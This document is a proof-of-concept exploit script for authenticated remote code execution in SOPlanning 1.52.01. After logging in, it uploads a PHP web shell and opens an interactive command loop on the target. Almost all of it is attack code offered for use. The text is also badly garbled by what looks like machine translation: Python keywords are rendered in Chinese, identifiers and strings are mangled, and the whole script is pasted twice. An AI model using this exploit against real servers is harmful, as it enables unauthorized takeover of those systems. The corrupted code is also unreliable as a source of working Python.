#利用标题: Soplanning 1.52.01(简单的在线计划工具) - 远程代码执行(RCE)(认证)
#DATE: 2024年10月6日
#利用作者: Ardayfio Samuel Nii Arryee
#版本: 1.52.01
#在: Ubuntu上测试
导入argparse
导入请求
导入随机
导入字符串
导入Urllib.Parse
def command_shell(exploit_url):
命令=输入('Soplaning:〜 $')
encoded_command=urllib.parse.quote_plus(命令)
command_res=requests.get(f'{exploit_url}?cmd={encoded_command}')
如果command_res.status_code==200:
print(f'{command_res.text}')
返回
打印(f'Error:运行命令: {encoded_command}'时发生一个erros
DEF漏洞利用(用户名,密码,URL):
target_url=f'{url}/process/login.php'
upload_url=f'{url}/process/upload.php'
link_id=''。
php_filename=f'{'。
login_data={'login':username,'password'
assword}
res=requests.post(target_url,data=login_data,ally_redirects=false)
cookies=res.cookies
multepart_form_data={
'linkId': link_id,
'PereodiD': 0,
'fichiers': php_filename,
'type':'上传'
}
web_shell='?php system($ _ get ['cmd']);
文件={
'Fichier-0':(php_filename,web_shell,'application/x-php')
}
upload_res=requests.post(upload_url,cookies=cookie,files=files,data=prouptart_form_data)
如果upload_res.status_code==200和upload_res.text:中的'file'
打印(f'[+]上载==={upload_res.text}')
打印('[+]利用完成。')
exploit_url=f'{url}/upload/files/{link_id}/{php_filename}'
打印(f'Access webshell ereshere: {exploit_url}?cmd=命令')
如果'yes'==输入('您想要交互式外壳吗?(是/否)'):
TRY:
而true:
command_shell(exploit_url)
除异常外,E:
提高(f'Error: {e}')
其他:
经过
def main():
parser=argparse.argumentparser(prog='soplanning rce',\
用法=f'python3 {__file __。split('/')[ - 1]} -t http://example.com:9090 -u admin -P Admin')
parser.add_argument(' - t',' - target',type=str,help='target url(例如3http://localHost:8080)',必需=true)
parser.add_argument(' - u',' - username',type=str,help='username',quiend oild quirast=true)
parser.add_argument(' - p',' - password',type=str,help='password',必需=true)
args=parser.parse_args()
exploit(args.username,args.password,args.target)
主要的()
#DATE: 2024年10月6日
#利用作者: Ardayfio Samuel Nii Arryee
#版本: 1.52.01
#在: Ubuntu上测试
导入argparse
导入请求
导入随机
导入字符串
导入Urllib.Parse
def command_shell(exploit_url):
命令=输入('Soplaning:〜 $')
encoded_command=urllib.parse.quote_plus(命令)
command_res=requests.get(f'{exploit_url}?cmd={encoded_command}')
如果command_res.status_code==200:
print(f'{command_res.text}')
返回
打印(f'Error:运行命令: {encoded_command}'时发生一个erros
DEF漏洞利用(用户名,密码,URL):
target_url=f'{url}/process/login.php'
upload_url=f'{url}/process/upload.php'
link_id=''。
php_filename=f'{'。
login_data={'login':username,'password'

res=requests.post(target_url,data=login_data,ally_redirects=false)
cookies=res.cookies
multepart_form_data={
'linkId': link_id,
'PereodiD': 0,
'fichiers': php_filename,
'type':'上传'
}
web_shell='?php system($ _ get ['cmd']);
文件={
'Fichier-0':(php_filename,web_shell,'application/x-php')
}
upload_res=requests.post(upload_url,cookies=cookie,files=files,data=prouptart_form_data)
如果upload_res.status_code==200和upload_res.text:中的'file'
打印(f'[+]上载==={upload_res.text}')
打印('[+]利用完成。')
exploit_url=f'{url}/upload/files/{link_id}/{php_filename}'
打印(f'Access webshell ereshere: {exploit_url}?cmd=命令')
如果'yes'==输入('您想要交互式外壳吗?(是/否)'):
TRY:
而true:
command_shell(exploit_url)
除异常外,E:
提高(f'Error: {e}')
其他:
经过
def main():
parser=argparse.argumentparser(prog='soplanning rce',\
用法=f'python3 {__file __。split('/')[ - 1]} -t http://example.com:9090 -u admin -P Admin')
parser.add_argument(' - t',' - target',type=str,help='target url(例如3http://localHost:8080)',必需=true)
parser.add_argument(' - u',' - username',type=str,help='username',quiend oild quirast=true)
parser.add_argument(' - p',' - password',type=str,help='password',必需=true)
args=parser.parse_args()
exploit(args.username,args.password,args.target)
主要的()